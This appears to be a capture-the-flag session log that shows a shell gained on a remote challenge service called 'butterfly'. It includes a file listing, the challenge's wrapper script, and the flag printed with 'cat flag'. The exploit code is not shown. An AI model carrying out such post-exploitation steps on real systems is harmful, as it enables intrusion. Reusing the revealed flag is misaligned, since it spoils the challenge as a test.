uid=1001(problem) gid=1001(problem) groups=1001(problem)
$ pwd
/home/problem
$ ls -l
total 20
-rwxr-xr-x 1 root root    8328 Apr 15 18:26 butterfly
-r--r----- 1 root problem   28 Apr 15 18:28 flag
-rwxr-xr-x 1 root root     219 Apr 15 21:49 wrapper
$ file *
butterfly: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=daad8fa88bfeef757675864191b0b162f8977515, not stripped
flag:      ASCII text
wrapper:   Bourne-Again shell script, ASCII text executable
$ cat wrapper
#!/bin/bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd $DIR
ulimit -S -c 0 -t 20 -f 1000000 -v 1000000
ulimit -H -c 0 -t 20 -f 1000000 -v 1000000
exec nice -n 15 timeout -s 9 300 /home/problem/butterfly
$ md5sum butterfly
33e86bcc2f0a21d57970dc6907867bed  butterfly
$ cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}
$ exit
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to butterfly.pwning.xxx port 9999
[*] Got EOF while sending in interactive